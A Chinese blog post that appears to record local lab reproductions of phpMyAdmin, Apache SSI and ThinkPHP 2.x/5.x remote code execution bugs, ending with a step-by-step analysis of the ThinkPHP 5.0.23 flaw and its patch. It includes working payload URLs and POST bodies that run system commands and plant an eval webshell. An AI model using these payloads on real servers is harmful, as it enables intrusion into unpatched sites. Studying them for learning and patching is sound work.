phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)
漏洞原理:http://www.polaris-lab.com/index.php/archives/66/
根据提示我们先进入到 /scripts/setup.php 的目录下
由于 configuration 参数是可控的 所以我们可以根据 poc 或自行构造
然后这是我们序列化后的结果
然后就复现成功了
Apache SSI 远程命令执行漏洞(2019.11.27)
原理:
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml文件,利用 语法执行命令。
什么是ssi
简单的来说ssi可以对静态的html网页进行动态的改动,我们通过在静态的html页面中插入不同的内容,如果不利用ssi的话我们需要对页面改变就需要重新生成所有的静态的html,但是如果有了ssi 的话服务器会根据嵌入文件自动生成网页,输出到浏览器,如要修改则只需要修改嵌入的文件
它们允许将动态生成的内容添加到现有HTML页面,而无需通过CGI程序或其他动态技术提供整个页面。
文章链接:https://blog.csdn.net/fdipzone/article/details/10820127
SHTML文件
.shtml 文件就是 html 文件加个 ssi
CGI支持
CGI是一个通用网关接口(CGI本身是一套协议和规范)
首先简单的说一下web server 和 web应用程序之间的关系,这两者的关系就像手机和手机应用程序一样。因为web server所处理的内容全部都是静态的,所以如果想要处理动态的内容需要CGI的支持(需要依赖web应用程序)web server 依赖CGI协议将动态的请求传给web应用程序进行处理,然后web应用程序处理完毕之后再通过cgi协议返回给web server(html静态页面)
这里由于我们是要访问上传的那个文件的,所以坑定是动态的请求,这一过程是需要交给web应用程序去处理的,然后web应用程序将处理后的结果返回给web server
这里我个人觉得我说的不够清楚我后面会继续进行修改
文章链接:https://www.jianshu.com/p/e5e471f368aa
https://blog.csdn.net/LiuNian_SiYu/article/details/60964966
最终结果如下图
我们通过上传 内容为
的shell.shtml,然后访问文件地址可以发现成功
ThinkPHP 2.x 任意代码执行漏洞 (2019.11.28)
原理:
preg_replace
的/e
模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)
有漏洞的是这个文件/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
125 – $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=”\\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=\’\\2\’;', implode($depr,$paths));
这是官方前后发布的补丁,我们可以看到官方把 \2\两边的双引号变成了单引号
复现过程:
http://127.0.0.1:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`
既然我们都可以执行任意命令了何不来个shell呢?(奸笑
http://127.0.0.1:8080/index.php/index.php?s=/index/index/name/${${@eval($_POST[1])}}
别的不多说了俺们直接蚁剑安排上!!
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)(2019.11.29)
原理:
文章:https://mp.weixin.qq.com/s/kwp5uxom7Amrj6S_-g8r4Q
在/thinkphp/library/think/Container.php中的invokefunction函数
在Container类中有个call_user_func_array()回调函数,经常做代码审计的小伙伴都知道,这个函数非常危险,只要能控制$function和$args,就能造成代码执行漏洞
invokefunction(函数名)&function=call_user_func_array(让函数为call_user_func_array)&vars[0]=system(参数1)&vars[1][]=echo%20%27%27%20>%20info.php(参数2)
接下来的就是我们需要从外界引导到这个函数上面
当$name以反斜线\开始时会直接将其作为类的命名空间路径。看到这里然后回想一下之前的分析,我们会发现这种命名空间路径获取的方式和之前获取的方式不一样(之前是进入了parseClass方法对模块、类名等进行拼接),而且这种获取是不需要和模块有联系的,所以我们想是不是可以直接将类名以命名空间的形式传入,然后再以命名空间的特性去自动加载类?同时这样也脱离了模块这个条件的束缚。
/index.php/index/think\Container/invokefunction
(这里我后面会后续进行修改,感觉写的不是很清楚)
漏洞复现:
按照提示文档复现的phpinfo() 这里就不再多说,由于是命令执行所以我们可以getshell 我们这里演示getshell的步骤
http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20info.php
我们文件已经成功上传上去了,然后访问info.php利用 hack bar 进行命令执行
ThinkPHP5 5.0.23 远程代码执行漏洞(2019.11.30)
原理:
(由于对thinkphp框架不了解 我需要多看一些时间 把这个弄的非常明白了之后,再写 对不住 鸽了 然后发现前面的写的都不是很好,后面打算把前面也再多完善一下)
漏洞复现:
漏洞url:/index.php?s=captcha
post
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
ThinkPHP5 5.0.23 远程代码执行漏洞 (原理--2019.12.06)
前言:
非常不好意思,鸽了这么久,由于本人代码审计功底=0,所以这几天结合先知,smile等师傅们等文章弄明白了,再次感谢。
参考文章链接:
https://hurricane618.me/2019/02/03/thinkphp-5-0-23-rce/#%E5%90%8E%E8%AE%B0
https://kylingit.com/blog/thinkphp-5.0.x-%E7%89%88%E6%9C%AC%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://www.ebounce.cn/web/thinkphp-rce.html
https://xz.aliyun.com/t/3845#toc-2
https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/
漏洞流程分析:
我这里的源码版本为thinkphp 5.0.22
下载地址:http://www.thinkphp.cn/donate/download/id/1260.html
poc:_method=__construct&filter[]=system&method=get&
get[]=id
首先我们先简单的看一下漏洞是如何形成和利用的(后面会整体进行解释,先说这个是希望各位师傅看后面整体的思路清晰一些)
首先我们来看我们漏洞的调用链(简单来说就是我们通过这些函数的调用来RCE的)
param -> method -> server ->input -> getFilter -> Rce
那么我们先从param这个函数来看,我们可以看到在第637行调用了method方法,所以我们跟进method函数进行查看
文件位置:/thinkphp/library/think/Request.php
这里就是一个漏洞点,也是后面补丁修改的地方,补丁会在最后贴出,我们看第524,525,526行,发现通过外部传入Config::get('var_method')
我们可以实现该类任意方法的调用
为什么可以任意方法调用?
这里可以看到从外部传入var_method的值,但是可以发现我们的poc中没有var_method,我们看到位于appliction文件夹下面的config.php文件,如图
这里进行了伪装变量所以我们poc中的_method就是来源于此。但是我们好像还是没有解决问题,没事咱慢慢来。
if (isset($_POST[Config::get('var_method')])) {
$this->method=$strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
之前所说的漏洞点的那几行代码。我们看第二行,可以发现我们之前的var_method赋给了method,那么也就是说我们可以控制method的值了。这里用poc举个例子,poc中的赋值为 _method=__construct ,所以我们赋值完之后method的值就为__construct,所以通过第三行代码就可以调用任意方法,如下
$this->{$this->__construct}($_POST);
好解决完以上的问题我们继续往下看,发现method中又调用了server函数,我们继续进行跟进,然后发现server中调用了input 我们继续进行跟进
紧接着在server中又调用了getFilter和filterValue,我们一一进行跟进。
该函数调用了$this->getFileter
取得过滤器。$this->filter
的值是攻击者通过调用构造函数覆盖控制的(通过之前都_construct进行覆盖控制),将该值返回后将进入到input函数
filterValue方法,我们发现第1083行也就是我图中标红的那行用了一个call_user_func函数,如果我们能够控制这个函数的两个参数我们就可以进行rce。一个参数为$filter,另一个参数为$value
那么如何控制呢?
我们一个个来,我们先来说如何控制filter参数。
还记得我们之前的那个method的漏洞吗?我们对Request类中对任何方法进行调用,首先思考__construct函数,这个是构造函数,可以自行运行。查看源代码
由于$options参数是可控的,所以我们可以通过这个构造函数对变量进行覆盖。结合poc
_method=__construct&filter[]=system&method=get&get[]=id
我们传入filter[]=system,进行覆盖我们这个类对filter属性,然后$filter通过之前的getFilter方法进行获取,这样我们的第一个参数就可控了。
然后我们再来看第二个参数 $value
我们重新看回param函数,我们之前看到method之后就没有继续往下看了,我们继续往下看。
发现当$this->mergeParam
为空时,这里会调用$this->get(false)
。
跟踪get函数,首先我们发现$this->get = $_GET 所以$this->get的数值我们可以人为控制的,这也就是为什么poc中get[]=id的原因,继续往下看我们又看到了我们熟悉的input函数
跟进input函数,结合上下两图可以知道我们的this->get的值就是我们input函数里面data的值,然后又因为value是data的第一个参数,所以第二个参数value我们也控制了
所以两个参数都被我们控制了我们就可以rce了
完整的调用如下图
完整分析流程:
我们从入口文件这里开始看,入口文件为App.php '/thinkphp/library/think/App.php'中的run方法,实例化了一个$request
对象传给了routeCheck
方法
进行跟进查看routeCheck()方法 同文件下大概617行左右可以找到routeCheck方法,然后调用了Route::check进行了路由检测
跟进Route::check()函数 '/thinkphp/library/think/Route.php' 在我标记打那行可以看到method函数,这也就是我们之前所说的,通过method代码的漏洞使得var_method的值可控从而使得可以通过控制$this->method可以调用Request类的所有方法,所以通过了_method=__construct 进行变量覆盖。
还有一个就是rules,可以看出rules的值取决于method,这也就是为什么我们的poc中指定了method=get,这样才可以正确获取到路由信息从而通过routeCheck的检查,所以我们需要通过变量覆盖将method覆盖为get
通过之前简单的分析可以知道我们需要通过__construct覆盖的属性有三个
$this->filter`,`$this->method`,`$this->get
也就是我们的poc:
_method=__construct&filter=system&method=get&get[]=id
现在还有一个问题为什么url是?s=captcha
因为我们请求的路由是?s=captcha
,它对应的注册规则为\think\Route::get
/vendor/topthink/think-captcha/src/helper.php
补丁分析:
我们可以看到补丁修改的地方对method进行了白名单过滤
总结:
总的来说这几天看这个下来,发现哪怕没基础到最后还是可以看明白只要耐心研究就可以了,这个漏洞我个人感觉大抵都是变量覆盖,还有就是method那里没有做很好的限制出现的